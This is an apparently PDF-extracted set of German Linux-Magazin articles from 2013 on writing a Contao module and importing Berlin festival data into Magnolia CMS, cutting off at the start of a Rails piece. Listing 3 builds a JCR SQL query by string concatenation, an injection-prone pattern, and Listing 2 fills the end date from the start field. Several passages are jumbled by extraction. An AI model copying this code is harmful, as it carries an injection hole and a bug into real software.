CMS antreten lassen. Allerding ließ sich über<br />
Wochen kein Projektmitglied auftreiben, das<br />
bereit war, sich der Programmieraufgabe<br />
zu stellen. Dies und eigene Recherchen legen<br />
nahe, dass das Programmieren eigener<br />
Joomla-Module sehr aufwändig ist. Schon ein<br />
„Hello World“-Modul erfordert große Mengen<br />
Code zu verfassen, die auf ein ganzes Bündel<br />
Dateien zu verteilen sind.
Listing 1: »Module<strong>Linux</strong><strong>Magazin</strong>«-Klasse (Ausschnitte)<br />
01 <br />
04 <br />
05 <br />
06 Name der Veranstaltung<br />
07 Beginn <br />
?<br />
08 Ende<br />
09 <br />
10 <br />
11 Straße<br />
12 PLZ und Ort<br />
13 Zeiten<br />
14 <br />
15 <br />
16 Veranstalter<br />
17 E‐Mail<br />
18 Internet<br />
19 <br />
20 <br />
21 Bemerkungen<br />
22 <br />
23 <br />
24 <br />
25 <br />
26 <br />
27 <br />
28 <br />
29 <br />
30 <br />
31 <br />
33 <br />
34 <br />
35 <br />
36 <br />
38 <br />
39 <br />
<br />
40 <br />
41 <br />
<br />
43 {{email::}}<br />
44 <br />
45 <br />
46
Abbildung 2: Die DCA-Datei erzeugt dieses Formular, das später der normale Benutzer angezeigt bekommt.<br />
folgenden Zeilen weitere Daten in das<br />
Template.<br />
Im Template sind damit jetzt alle Termine<br />
im Array »$this‐>results« verfügbar.<br />
Es genügt dort somit eine »foreach()«-<br />
Schleife, um die Zeilen der Ergebnistabelle<br />
aufzubauen. Den Code zeigt Listing<br />
2. Der Programmierer der Beispielaufgabe<br />
stellt der Tabelle zudem ein Formular<br />
voran, über das die Besucher später<br />
die Tabelle nach bestimmten Kriterien filtern<br />
lassen können (wie in Abbildung 1).<br />
Die eigentliche Filterung übernimmt das<br />
PHP-Modul anhand der »POST«-Daten.<br />
Das komplette Template wandert in eine<br />
eigene Datei im Unterverzeichnis »templates«<br />
– normalerweise sogar in zweifacher<br />
Ausführung: Die ».html5«-Datei<br />
enthält Tags gemäß HTML-5-Standard,<br />
die zweite Datei mit der Endung ».xhtml«<br />
verwendet hingegen das ältere XHTML.<br />
Der Administrator von Contao darf später<br />
im Backend zwischen HTML 5 und<br />
XHTML umschalten. Abhängig von seiner<br />
Wahl kommt automatisch das HTML-5-<br />
oder XHTML-Template zum Einsatz. Der<br />
Programmierer des Beispiels hat jedoch<br />
auf die XHTML-Variante verzichtet.<br />
Babelfisch<br />
In der Umsetzung der Beispielaufgabe<br />
sind die Beschriftungen der Tabellenspalten<br />
auf Deutsch. Übersetzungen hat der<br />
Programmierer nicht vorgesehen. Normalerweise<br />
liegen diese im Unterverzeichnis<br />
»languages«, in dem es für jede Sprache<br />
ein weiteres Unterverzeichnis mit dem<br />
jeweiligen Sprachkürzel gibt. Die Datei<br />
namens »modules.php« steuert die Modulnamen,<br />
im Beispielprojektenthält jedoch<br />
die folgenden zwei Zeilen:<br />
$GLOBALS['TL_LANG']['MOD']['linuxmagazin']U<br />
= array('<strong>Linux</strong> <strong>Magazin</strong> Demo');<br />
$GLOBALS['TL_LANG']['FMD']['linuxmagazin']U<br />
= array('<strong>Linux</strong> <strong>Magazin</strong> Demo');<br />
Sie sorgen dafür, dass später das Modul<br />
unter dem Namen »<strong>Linux</strong> <strong>Magazin</strong><br />
Demo« erscheint. Übersetzungen würden<br />
Contao-Entwickler meist in die »default.<br />
php«-Sprachdatei platzieren.<br />
Bürokratisch<br />
Schließlich bringt die Implementierung<br />
die Datei »dca/tl_module.php« mit, die<br />
gewöhnlich beschreibt, wie die vom Modul<br />
genutzten Datenbanktabellen und ihre<br />
Beziehungen zueinander aussehen. Contao<br />
bezeichnet die Definitionen als Data<br />
Container Arrays, kurz DCA. Die Implementierung<br />
braucht davon jedoch keinen<br />
Gebrauch zu machen, sondern definiert<br />
dort nur eine so genannte Palette. Das ist<br />
eine Sammlung aus Formularfeldern:<br />
$GLOBALS['TL_DCA']['tl_module']['palettes']U<br />
['linuxmagazin'] = '{title_legend},name,U<br />
headline,type;{protected_legend:hide},U<br />
protected;{expert_legend:hide},guests,U<br />
cssID,space';<br />
Dieses Formular zeigt später das Backend<br />
an. In diesem Fall besteht es aus ein<br />
paar Standardfeldern. Ihretwegen darf<br />
das Modul einige Contao-Features, wie
Titelthema<br />
www.linux-magazin.de Contao 11/2013<br />
26<br />
01 ;;<br />
die Überschrift und die Zugriffskontrolle,<br />
mitnutzen (Abbildung 2). Die recht kryptische<br />
DCA-Syntax ist in [4] erläutert.<br />
Eingehängt<br />
Dank der Datei »config/config.php« erkennt<br />
Contao das Modul als solches. Im<br />
konkreten Fall lautet ihr Inhalt nur:<br />
$GLOBALS['FE_MOD']['miscellaneous']U<br />
['linuxmagazin'] = 'Module<strong>Linux</strong><strong>Magazin</strong>';<br />
Hier registriert die Datei ein Modul für<br />
das Frontend (»FE_MOD«) und ordnet es<br />
in die Gruppe „Verschiedenes“ (»miscellaneous«)<br />
ein. Sie sorgt später im Backend<br />
in den Auswahllisten lediglich für etwas<br />
mehr Übersicht (siehe Abbildung 3). Des<br />
Weiteren trägt das Modul den Namen<br />
»linuxmagazin«. Die zugehörige Klasse<br />
heißt »Module<strong>Linux</strong><strong>Magazin</strong>«.<br />
Damit Contao 3 Klasse und Template laden<br />
und aufrufen kann, bedarf es einer<br />
»config/autoload.php« wie in Listing 3.<br />
Die erste Anweisung teilt Contao mit,<br />
dass es die Datei »Module<strong>Linux</strong><strong>Magazin</strong>.<br />
php« laden soll, wenn die Ausgaben der<br />
Klasse »Module<strong>Linux</strong><strong>Magazin</strong>« her müssen.<br />
Analog registriert die zweite Anweisung<br />
das Template: Wenn das Modul das<br />
»mod_linuxmagazin«-Template verlangt,<br />
01 ClassLoader::addClasses(array<br />
02 (<br />
Listing 3: Der Autoloader<br />
03 'Module<strong>Linux</strong><strong>Magazin</strong>' => 'system/modules/<br />
linuxmagazin/Module<strong>Linux</strong><strong>Magazin</strong>.php',<br />
04 ));<br />
05 <br />
06 TemplateLoader::addFiles(array<br />
07 (<br />
08 'mod_linuxmagazin' => 'system/modules/linuxmagazin/<br />
templates',<br />
09 ));<br />
Listing 4: »autoload.ini«<br />
02 ; List modules which are required to be loaded<br />
beforehand<br />
03 ;;<br />
04 requires[] = "core"<br />
05 <br />
06 ;;<br />
07 ; Configure what you want the autoload creator to<br />
register<br />
08 ;;<br />
09 register_namespaces = false<br />
10 register_classes = false<br />
11 register_templates = false<br />
Abbildung 3: Um etwas mehr Ordnung zu schaffen,<br />
gruppiert Contao die Module.<br />
weiß Contao, wo es die Datei findet.<br />
Zur »autoload.php« gesellt sich eine »autoload.ini«,<br />
welche unter anderem die Abhängigkeiten<br />
zu anderen Modulen verrät.<br />
Die »autoload.ini« für die Beispielaufgabe<br />
zeigt Listing 4. Beide Autoload-Dateien<br />
lassen sich im Backend mit dem Autoload-Creator<br />
automatisch generieren.<br />
Wählerischer Einspieler<br />
Contao besitzt eine Erweiterungsverwaltung,<br />
um Module zu installieren und zu<br />
aktivieren. Sie zapft aber nur den offiziellen<br />
Erweiterungskatalog der Contao-<br />
Homepage an. Wer sein Modul aus anderen<br />
Quellen besorgt oder gar selbst programmiert,<br />
muss es per Hand in ein Unterverzeichnis<br />
von »system/modules« des<br />
<strong>Web</strong>servers kopieren und den Installationsassistenten<br />
aufrufen.<br />
Letzterer richtet nicht nur Contao auf<br />
dem <strong>Web</strong>server ein, er prüft und aktualisiert<br />
auch die Datenbanktabellen. Es<br />
bleibt unklar, warum die Contao-Entwickler<br />
diesen fehleranfälligen Weg gehen<br />
und der Erweiterungsverwaltung<br />
keine Upload-Funktion<br />
spendieren. Da die Implementierung<br />
der Beispielaufgabe<br />
die Daten-<br />
Datei<br />
bank nichtanfass, genügte<br />
es, sie in das entsprechende<br />
Contao-Verzeichnis<br />
zu kopieren. dca/tl_module.php<br />
config/autoload.ini<br />
Wertung<br />
Insgesamt elf Dateien<br />
in fünf Verzeichnissen<br />
benötigt das Modul,<br />
um die Beispielaufgabe zu lösen (siehe<br />
Tabelle 1). Die meiste Arbeit leistet das<br />
Skript »Module<strong>Linux</strong><strong>Magazin</strong>.php« zusammen<br />
mit seinem Template »mod_linuxmagazin.html5«.<br />
Normalerweise<br />
würden noch weitere Dateien hinzukommen,<br />
etwa Übersetzungen. Dank Contaos<br />
eingebauten Erweiterungsgenerator spart<br />
der Einsteiger immerhin Tipparbeit.<br />
Die Implementierung der Beispielaufgabe<br />
zeigte zudem, dass Contao-Programmierer<br />
tunlichst Kommentare hinterlassen<br />
und den Quellcode gut formatieren sollten.<br />
Insbesondere das Template tendiert<br />
schnell zu kryptischen Textwüsten. Davon<br />
abgesehen fällt der Einstieg in den Code<br />
erstaunlich leicht. Auch die Implementierung<br />
der Beispielaufgabe erschließt sich<br />
recht schnell, obwohl der Pro grammierer<br />
in der Kürze der Zeit keine Kommentare<br />
hinterlassen hat.<br />
Voraussetzung ist allerdings, dass der<br />
Entwickler mit den Konzepten von Contao<br />
vertraut ist. Mangels Dokumentation<br />
gestaltet sich das jedoch für jeden Einsteiger<br />
schwierig. So war zum Redaktionsschluss<br />
zwar das Benutzer-, nicht<br />
aber das Entwicklerhandbuch und somit<br />
die einzige vollständige Dokumentation<br />
auf der Contao-Homepage verfügbar. Die<br />
meisten Anleitungen im Internet sind entweder<br />
veraltet oder werfen mehr Fragen<br />
auf, als sie klären. (jk) <br />
n<br />
Infos<br />
[1] Contao: [https:// contao. org/ de/]<br />
[2] Contao Association:<br />
[https:// association. contao. org]<br />
[3] Mootools: [http:// mootools. net]<br />
[4] Data Container Arrays:<br />
[https:// contao. org/ de/ manual/ 3. 1/<br />
data‐container‐arrays. html]<br />
Tabelle 1: Die Dateien des Moduls im Überlick<br />
Bedeutung<br />
Module<strong>Linux</strong><strong>Magazin</strong>.php Zentrale Klasse, die Contao<br />
aufruft<br />
templates/mod_linuxmagazin.php Template<br />
languages/en/modules.php Englische Übersetzungen<br />
DCA-Definitionen<br />
Konfigurationsdatei für den<br />
Autoloader<br />
config/autoload.php<br />
Konfigurationsdatei für den<br />
Autoloader<br />
config.php<br />
Meldet das Modul bei Contao an<br />
assets/<br />
Stylesheets
Titelthema<br />
www.linux-magazin.de Magnolia CMS 11/2013<br />
28<br />
Das in Java implementierte Magnolia CMS<br />
Blühender Content-Baum<br />
Magnolia CMS nutzen große Anwender wie Lovefilm oder EADS für ihre <strong>Web</strong>präsenz. Das freie Java-System importiert<br />
externe Daten in ein zentrales Content Repository und macht sie damit auch bearbeitbar. Carsten Zerbst<br />
© Vira Dobosh, 123RF.com<br />
gegebenenfalls notwendige Transformation<br />
geschehen im Autorensystem. Hier<br />
müssen die Fremddaten lokal verfügbar<br />
sein, entweder durch regelmäßiges Abfragen<br />
(Pull-Prinzip) oder das Empfangen<br />
externer Events wie JMS-Nachrichten<br />
(Push-Prinzip).<br />
Das freie Contentmanagement-System<br />
Magnolia CMS existiert seit zehn Jahren<br />
und dient bei einer Reihe von bekannten<br />
Firmen zur Umsetzung des Internetauftritts.<br />
Sein Kerngedanke ist die Trennung<br />
in ein Autorensystem zum Eingeben und<br />
Erfassen von Texten und Bildern auf der<br />
einen Seite und ein Publikationssystem,<br />
das die Inhalte den Nutzern in einem<br />
einheitlichen Layout präsentiert, auf der<br />
anderen.<br />
Der dahinterliegende Server ist in Java<br />
implementiert und fußt auf einer Reihe<br />
von Open-Source-Komponenten wie dem<br />
Servlet-Container Apache Tomcat und<br />
dem Content-Repository Jackrabbit. Magnolia<br />
CMS [1] ist sowohl in einer freien<br />
Der Programmierer<br />
Der Code für die Lösung der Aufgabe in diesem<br />
Artikel stammt aus dem Hause Magnolia<br />
International Ltd. in Basel [1], dem Hersteller<br />
des gleichnamigen CMS. Der Entwickler<br />
Lars Fischer aus der Abteilung Professional<br />
Services hat ihn geschrieben.<br />
wie in einer Enterprise-Edition verfügbar.<br />
Die freie Version steht unter der GPL,<br />
für die kommerzielle Ausgabe bietet die<br />
hinter Magnolia CMS stehende gleichnamige<br />
Firma nicht nur die üblichen<br />
Dienstleistungen, sondern auch zusätzliche<br />
Features wie die Unterstützung von<br />
mehreren Internetdomains oder kommerziellen<br />
JEE-Servern wie <strong>Web</strong>sphere und<br />
<strong>Web</strong>logic.<br />
Dieser Artikel zeigt, wie ein Entwickler<br />
Daten aus einer externen Quelle mit Hilfe<br />
von Magnolia CMS 5.0.2 auf den eigenen<br />
<strong>Web</strong>seiten publiziert. Als Beispiel dienen<br />
die unter [2] verfügbaren Daten über<br />
die Berliner und Brandenburger Volksund<br />
Straßenfeste. Hierfür kommt der<br />
in Abbildung 1 illustrierte Ablauf zum<br />
Einsatz: Der eigentliche Import und die<br />
DELUG-DVD<br />
Die Delug-DVD zu diesem <strong>Magazin</strong><br />
enthält eine lauffähige Tomcat-Instanz<br />
DELUG-DVD<br />
mit Magnolia CMS und der Lösung der Programmieraufgabe.<br />
Content Repository<br />
In seiner Lösung der Aufgabe hat der<br />
Programmierer die Daten als Json regelmäßig<br />
vom Berliner Server abgefragt und<br />
in Magnolia CMS importiert. Für die Datenspeicherung<br />
nutzt Magnolia ein Java<br />
Content Repository (JCR). Dahinter steckt<br />
ein baumartiger Datenspeicher, dessen<br />
Knoten beliebige Metadaten tragen sowie<br />
auf Massendaten (Texte, Bilder, Filme<br />
oder Ähnliches) verweisen.<br />
Die Grundidee dieser Speicherform besteht<br />
darin, kleinere Datenmengen wie<br />
hier Veranstaltungsort oder ‐zeit jeweils<br />
als Metadaten eines Knotens abzuspeichern<br />
und erst so spät wie möglich Text,<br />
Author<br />
Instanz<br />
Abfrage von Json<br />
Erstellen von<br />
JCR-Daten<br />
Publikation<br />
Public<br />
Instanz<br />
Rendern von<br />
JCR-Daten<br />
Java Content Repository (JCR)<br />
Browser<br />
Anfrage<br />
Darstellung<br />
Abbildung 1: Import und Ausgabe von Fremddaten in<br />
Magnolia CMS: Das Java Content Repository bildet<br />
den Mittelpunkt des Systems.
XML oder HTML zu erzeugen. Damit stehen<br />
die einzelnen Metadaten-Attribute<br />
für Abfragen über die JCR-Schnittstellen<br />
bereit und müssen nicht aufwändig aus<br />
einem Text extrahiert werden.<br />
Bei Magnolia CMS nutzen sowohl die<br />
Autoreninstanz als auch die für die Auslieferung<br />
an die Endnutzer zuständige<br />
öffentliche Instanz das gemeinsame Java<br />
Content Repository. Damit der Endanwender<br />
keine in Bearbeitung befindlichen<br />
Daten zu sehen bekommt, muss<br />
ein Redakteur die Einträge explizit für die<br />
Veröffentlichung freigeben.<br />
Sobald die Daten freigegeben sind, stehen<br />
sie in der öffentlichen Instanz bereit.<br />
Darauf greifen Endanwender mit ihrem<br />
Browser zu und fragen HTML-Seiten an.<br />
Diese generiert Magnolia durch Kombination<br />
der im JCR enthaltenen Rohdaten<br />
mit einem Template. Die Trennung von<br />
Inhalt und Template hat den Vorteil, dass<br />
sich Inhalt und Aussehen einer <strong>Web</strong>seite<br />
unabhängig voneinander ändern lassen.<br />
Datenimport<br />
Die eigentlich Umsetzung für die Berliner<br />
Volksfeste gestaltet sich recht schlank,<br />
die Implementation des Imports enthalten<br />
die Listings 1 bis 3. Die kompletten<br />
Quellen für die gelungene und ansprechende<br />
Umsetzung stehen als Maven-<br />
Projekt unter [6] zur Verfügung.<br />
Für Hintergrundprozesse kennt Magnolia<br />
CMS die Basisklasse »MgnlCommand«,<br />
deren Kinder sich über einen Cron-ähnlichen<br />
Mechanismus starten lassen. Die<br />
Konfiguration der zu startenden Klassen<br />
und Startzeiten geschieht bequem über<br />
die <strong>Web</strong>oberfläche. Für den Import der<br />
Berliner Daten hat der Anwendungsentwickler<br />
die Klasse »EventImporterCommand«<br />
abgeleitet (Listing 1).<br />
Startpunkt des Imports ist die Methode<br />
»execute()« in Zeile 12. Sie ruft zuerst die<br />
Json-Datei ab und wandelt sie mit Hilfe<br />
der Java-Bibliothek Gson [3] in Java-<br />
Objekte um. Dies sind Plain Old Java<br />
Objects (Pojos), einfache Datenobjekte,<br />
die eine Eins-zu-eins-Umsetzung des<br />
Json-Datenmodells in Java darstellen.<br />
Entsprechend sind alle Veranstaltungen<br />
in einem Objekt der Klasse »Index« enthalten,<br />
über die die For-Schleife (Zeilen<br />
27 bis 51) iteriert.<br />
Der Code in der Schleife fragt zunächst<br />
den Startknoten »Berlin Events« für die<br />
Ereignisse im JCR ab oder erzeugt ihn.<br />
Dann prüft er mit »eventExists()«, ob<br />
die Veranstaltung schon bekannt ist, andernfalls<br />
legt er mit »createEventNode()«<br />
einen neuen Knoten dafür an. Nach jeder<br />
Veranstaltung speichert »session.<br />
save()« (Zeile 43) die Änderungen im<br />
JCR. In Listing 2 findet das eigentliche<br />
Magnolia CMS 11/2013<br />
Titelthema<br />
www.linux-magazin.de<br />
29<br />
Listing 1: Laden der Daten und Hauptschleife<br />
01 public class EventImporterCommand extends MgnlCommand {<br />
02 <br />
03 [...]<br />
04 <br />
05 /**<br />
06 * Ausfuehrungs‐Methode des Magnolia Commands zum Import von<br />
07 * Berliner Volksfesten<br />
08 * @param context Magnolia Context<br />
09 * @return Ergebnis der Import‐Methode (true/false)<br />
10 */<br />
11 @Override<br />
12 public boolean execute(Context context) throws Exception {<br />
13 log.debug("Starte Event Import... ");<br />
14 <br />
15 boolean importResult = true;<br />
16 <br />
17 try {<br />
18 // Start des Daten‐Imports<br />
19 InputStream input = new URL(importURL).openStream();<br />
20 BufferedReader br = new BufferedReader(new InputStreamReader(<br />
input, "UTF‐8"));<br />
21 <br />
22 Gson gson = new Gson();<br />
23 <br />
24 VolksfestData data = gson.fromJson(br, VolksfestData.class);<br />
25 <br />
26 // Ende des eigentlichen Daten‐Imports, importierte Events werden<br />
verarbeitet<br />
27 for (Index event : data.getIndex()) {<br />
28 if (validEvent(event)) {<br />
29 try {<br />
30 // Erstellung einer Seite im <strong>Web</strong>site‐Tree, falls das Event<br />
31 // gueltige Daten hat und noch nicht vorhanden ist<br />
32 session = MgnlContext.getJCRSession(repository);<br />
33 <br />
34 Node parentNode = NodeUtil.createPath(session.<br />
getRootNode(),<br />
35 path, NodeTypes.Page.NAME, false);<br />
36 PropertyUtil.setProperty(parentNode, "mgnl:template",<br />
EVENT_OVERVIEW_TEMPLATE);<br />
37 PropertyUtil.setProperty(parentNode, "title", "Berlin<br />
Events");<br />
38 <br />
39 if (!eventExists(parentNode.getPath(), event.getId(),<br />
repository)) {<br />
40 createEventNode(parentNode, event, NodeTypes.Page.NAME);<br />
41 }<br />
42 <br />
43 session.save();<br />
44 } catch (Exception e) {<br />
45 log.error("Problem beim erstellen von Content fuer ein Event: "<br />
+ e.getMessage());<br />
46 }<br />
47 } else {<br />
48 log.error("Fehlende Pflichtfelder bei Event (kein Import):");<br />
49 log.error(event.toString());<br />
50 }<br />
51 }<br />
52 <br />
53 } catch (Exception e) {<br />
54 log.error("Problem beim Import von Events:" + e.getMessage());<br />
55 importResult = false;<br />
56 }<br />
57 <br />
58 log.debug("Event‐Import beendet.");<br />
59 <br />
60 return importResult;<br />
61 }<br />
62 [...]<br />
63 }
Titelthema<br />
www.linux-magazin.de Magnolia CMS 11/2013<br />
30<br />
Abbildung 2: Im Magnolia-Seiteneditor kann der Benutzer Veranstaltungen freigeben oder löschen.<br />
Abspeichern der Veranstaltungsdaten in<br />
der Methode »createEventNode()« statt.<br />
Dort legt »NodeUtil.createPath()« pro Veranstaltung<br />
einen neuen JCR-Knoten an<br />
(Zeile 10), »PropertyUtil« speichert die<br />
Daten aus dem Json-Objekt im Knoten.<br />
Das JCR-API bietet nicht nur Schnittstellen<br />
zum direkten Auslesen der Attribute,<br />
sondern auch umfangreiche Abfragemöglichkeiten.<br />
Das nutzt die »eventExists()«-<br />
Methode in Listing 3: Bei mehrfachem<br />
Import soll das CMS selbstverständlich<br />
für bereits bekannte Veranstaltungen<br />
keine neuen Knoten anlegen.<br />
Mit Hilfe einer SQL-ähnlichen Abfragesprache<br />
lassen sich JCR-Knoten anhand<br />
ihres Vaterknotens oder ihrer Metadaten<br />
finden. Das Attribut »id« aus den Originaldaten<br />
dient zur Identifizierung bereits<br />
importierter Veranstaltungen. Diese Suche<br />
stellt eine mächtige Grundlage für<br />
ein CMS dar, da sich neben Standardattributen<br />
(Änderungsdatum, Bearbeiter<br />
und so weiter) auch knotenspezifische<br />
Attribute wie ID oder der Stadtbezirk<br />
verwenden lassen. Auf der anderen Seite<br />
zeigt Listing 2 anhand des »location«-At-<br />
Listing 2: Mappen der Daten und Erzeugen der JCR-Knoten<br />
01 /**<br />
02 * Erstellt eine Event Page<br />
03 *<br />
04 * @param parentNode Parent‐Knoten im Repository fuer das neue Event<br />
05 * @param event einzelnes Event aus REST‐Import<br />
06 * @param eventType definiert den Typ des Events (<strong>Web</strong>seite oder Content)<br />
07 */<br />
08 protected void createEventNode(Node parentNode, Index event, String<br />
eventType) {<br />
09 try {<br />
10 Node eventNode = NodeUtil.createPath(parentNode, EVENT_PREFIX +<br />
event.getId(), eventType, false);<br />
11 if (StringUtils.equals(NodeTypes.Page.NAME, eventType)) {<br />
12 PropertyUtil.setProperty(eventNode, "mgnl:template",<br />
EVENT_TEMPLATE);<br />
13 PropertyUtil.setProperty(eventNode, "abstract",<br />
event.getBezeichnung());<br />
14 }<br />
15 PropertyUtil.setProperty(eventNode, "id", event.getId());<br />
16 PropertyUtil.setProperty(eventNode, "title",<br />
event.getBezeichnung());<br />
17 PropertyUtil.setProperty(eventNode, "eventTitle",<br />
event.getBezeichnung());<br />
18 PropertyUtil.setProperty(eventNode, "date", DateUtils.parseDate(<br />
event.getVon(), dateFormats));<br />
19 PropertyUtil.setProperty(eventNode, "dateEnd", DateUtils.parseDate(<br />
event.getVon(), dateFormats));<br />
20 PropertyUtil.setProperty(eventNode, "zeit", StringUtils.replace(<br />
event.getZeit(), "\n", " "));<br />
21 PropertyUtil.setProperty(eventNode, "location", getLocation(event));<br />
22 PropertyUtil.setProperty(eventNode, "bezirk", event.getBezirk());<br />
23 <br />
24 PropertyUtil.setProperty(eventNode, "link", event.getWww());<br />
25 PropertyUtil.setProperty(eventNode, "veranstalter",<br />
event.getVeranstalter());<br />
26 PropertyUtil.setProperty(eventNode, "mail", event.getMail());<br />
27 PropertyUtil.setProperty(eventNode, "bemerkungen",<br />
event.getBemerkungen());<br />
28 session.save();<br />
29 } catch (Exception e) {<br />
30 log.error("Event konnte nicht erstellt werden, Event ID " +<br />
event.getId() + ": " + e.getMessage());<br />
31 }<br />
32 }<br />
33 <br />
34 /**<br />
35 * Baut die Event‐Location aus Strasse und PLZ zusammen<br />
36 *<br />
37 * @param event Einzelnes Event aus REST‐Import<br />
38 * @return String mit der Event‐Location<br />
39 */<br />
40 protected String getLocation(Index event) {<br />
41 String location = event.getStrasse();<br />
42 if (StringUtils.isNotEmpty(event.getPlz())) {<br />
43 location += " (PLZ: " + event.getPlz() + ")";<br />
44 }<br />
45 return location;<br />
46 }
tributs und der Methode »getLocation()«,<br />
wie einfach das Mapping von den Json-<br />
Quelldaten zu den Metadaten eines JCR-<br />
Knotens ist.<br />
Freigeben und ändern<br />
Magnolia CMS 11/2013<br />
Titelthema<br />
Nach dem Import kommt zunächst die<br />
Freigabe, sie erfolgt über die Autoreninstanz<br />
von Magnolia CMS. Die in Abbildung<br />
2 mit einem roten Punkt markierten<br />
Veranstaltungen hat der Import neu angelegt,<br />
der Redakteur kann sie freigeben.<br />
Zudem lassen sich einzelne Veranstaltungen<br />
löschen, ändern (Abbildung 3) oder<br />
in einer <strong>Vorschau</strong> betrachten – Features,<br />
die Magnolia frei Haus mitliefert.<br />
Bis jetzt existiert pro Veranstaltung nur ein<br />
Satz Metadaten im JCR, die Endanwender<br />
erwarten jedoch eine HTML-Seite im<br />
Browser. Zum Rendern der Daten bietet<br />
Magnolia CMS sein Standard Templating<br />
Kit (STK) an. Dessen Basis ist die weitverbreitete<br />
Template-Engine Freemarker<br />
Abbildung 3: Einmal importiert, lassen sich die Daten der Veranstaltungen jederzeit ändern.<br />
www.linux-magazin.de<br />
31
Titelthema<br />
www.linux-magazin.de Magnolia CMS 11/2013<br />
32<br />
Die Suche ist Server-seitig schon unterstützt,<br />
nur das Übersichts-Template erhielt<br />
zusätzlich eine Referenz auf eine<br />
neue Komponente. Diese ist wiederum<br />
ein Template, das das Formular mit dem<br />
Start- und Enddatum enthält. Durch diesen<br />
modularen Aufbau kann man auf<br />
beliebigen Seiten immer wieder die gleichen<br />
Bausteine einfügen. Das Kalender-<br />
Widget selber zeichnet die Komponente<br />
»datepicker« aus der Bibliothek Jquery UI<br />
[5] ins Browserfenster.<br />
Zusammenfassung<br />
01 /**<br />
[4]. Sie kümmert sich um das Rendern<br />
von Java-Objekten in Text. Die in Magnolia<br />
mitgelieferten Templates enthalten<br />
Standarddarstellungen, von Übersichtsseiten<br />
bis zu einzelnen Komponenten wie<br />
Kalender- oder Kommentarboxen. Für die<br />
Anzeige der Berliner Events kommen die<br />
02 * Prueft, ob ein Event bereits existiert<br />
03 *<br />
04 * @param eventPath Repository‐Pfad, in dem das Event gesucht werden soll<br />
05 * @param eventId eindeutige ID des Events aus dem REST‐Import<br />
06 * @param repo Repository, in dem gesucht werden soll<br />
07 */<br />
existierenden Templates für »Event Overview«<br />
und »Event« zum Einsatz.<br />
Der Entwickler hat die Standardseite<br />
mit einem geänderten CSS-Stylesheet<br />
versehen und vor allem die Suche von<br />
Veranstaltungen anhand des Start- und<br />
Enddatums umgesetzt (Abbildung 4).<br />
08 protected boolean eventExists(String eventPath, String eventId, String repo) {<br />
09 boolean found = false;<br />
10 <br />
11 String sql = "select * from [nt:base] as t where ISDESCENDANTNODE([" + eventPath + "]) " +<br />
12 "and (t.id='" + eventId + "')";<br />
13 <br />
14 try {<br />
15 NodeIterator posts = QueryUtil.search(repo, sql);<br />
16 if (posts.hasNext() && posts.nextNode() != null) {<br />
17 found = true;<br />
18 }<br />
19 } catch (RepositoryException e) {<br />
20 log.error("Problem bei der Suche nach einem Event: " + e.getMessage());<br />
21 }<br />
22 <br />
23 return found;<br />
24 }<br />
Abbildung 4: Aus einem von Magnolia CMS bereits mitgelieferten Template wird mit kleinen Anpassungen die<br />
HTML-Seite mit der Veranstaltungsübersicht.<br />
Listing 3: Abfrage im JCR, ob Knoten bereits existiert<br />
Magnolia CMS bietet offenbar eine solide<br />
Basis für den Aufbau einer <strong>Web</strong>präsenz.<br />
Die Trennung der Daten von der Darstellung<br />
mittels Java Content Repository<br />
und Templates vermeidet Probleme beim<br />
Anpassen des Aussehens von Anfang an.<br />
Auch das Anbinden von Fremddaten mit<br />
eigenem Java-Quelltext lässt sich zügig<br />
umsetzen, durch den Einsatz des Content<br />
Repository ergibt sich zugleich ein<br />
Caching. Das Template-Konzept für die<br />
Darstellung ist in sich schlüssig, wer gravierende<br />
Änderungen an den vorhandenen<br />
Templates vornimmt, muss jedoch<br />
einiges an Lernaufwand vorsehen. Positiv<br />
fällt die umfangreiche Dokumentation<br />
auf der <strong>Web</strong>seite [1] auf. (mhu) n<br />
Infos<br />
[1] Magnolia CMS:<br />
[http:// www. magnolia‐cms. com]<br />
[2] Information über Feste als Json:<br />
[http:// www. berlin. de/ sen/ wirtschaft/<br />
service/ maerkte/ strassenfeste/ index. php/<br />
index/ all. json? q=]<br />
[3] Google-Gson:<br />
[http:// code. google. com/ p/ google‐gson/]<br />
[4] Freemarker: [http:// freemarker. org]<br />
[5] Jquery UI: [http:// jqueryui. com]<br />
[6] Listings zu diesem Artikel:<br />
[http:// www. linux‐magazin. de/ static/<br />
listings/ magazin/ 2013/ 11/ magnolia‐cms]<br />
Der Autor<br />
Carsten Zerbst arbeitet als Teamleiter im CADund<br />
PDM-Umfeld für die Automobil-, Luft- und<br />
Raumfahrtindustrie. Er konzentriert sich auf die<br />
Beratung und Erstellung von Java-basierter Individualsoftware<br />
zur optimalen Unterstützung der<br />
Arbeitsabläufe. Zur Zeit ist er auf der Suche nach<br />
neuen Teammitgliedern.
Titelthema<br />
www.linux-magazin.de Ruby on Rails 11/2013<br />
34<br />
Ruby on Rails plus Angular.js<br />
Flexible Unterlage<br />
Das <strong>Web</strong>framework Ruby on Rails nimmt dem Entwickler viel Arbeit ab und lässt sich doch weitgehend anpassen.<br />
In der Beispielanwendung liefert es lediglich die Daten im Json-Format, das Anzeigen im Browser übernimmt<br />
die Javascript-Bibliothek Angular.js. Jan Krutisch<br />
die als Vorgänger von Bibliotheken wie<br />
Jquery gelten können, im Rails-Umfeld<br />
entstanden. Rails war zudem eines der<br />
ersten Frameworks, die es dem Entwickler<br />
leicht gemacht haben, <strong>Web</strong>seiten mit<br />
Ajax-Funktionen anzureichern.<br />
Rails nutzt dabei die Sprachmittel von<br />
Ruby sehr geschickt, um dynamisch zur<br />
Laufzeit Informationen zur Verfügung zu<br />
stellen, die in anderen Umgebungen bereits<br />
zur Entwurfszeit in Code gegossen<br />
werden.<br />
© Graham Oliver, 123RF.com<br />
Ruby on Rails ist ein <strong>Web</strong>framework auf<br />
Basis der Programmiersprache Ruby. Im<br />
Jahr 2004 hat es der dänische Entwickler<br />
David Heinemeier Hansson erstmals als<br />
Open Source veröffentlicht, inzwischen<br />
liegt die kurz auch Rails [1] genannte<br />
Software in der frisch gebackenen Version<br />
4 vor.<br />
Rails verspricht die Entwicklung von<br />
Datenbank-gestützten <strong>Web</strong>anwendungen<br />
stark zu beschleunigen. Zusammen<br />
mit dem Python-Framework Django begründete<br />
es eine neue Klasse von sehr<br />
01 # 20130903183431_create_events.rb<br />
02 class CreateEvents < ActiveRecord::Migration<br />
03 def change<br />
04 create_table :events do |t|<br />
05 t.string :source_id<br />
06 t.text :area<br />
07 t.text :description<br />
08 t.string :street<br />
09 t.string :zip_code<br />
10 t.date :starts_at<br />
11 t.date :ends_at<br />
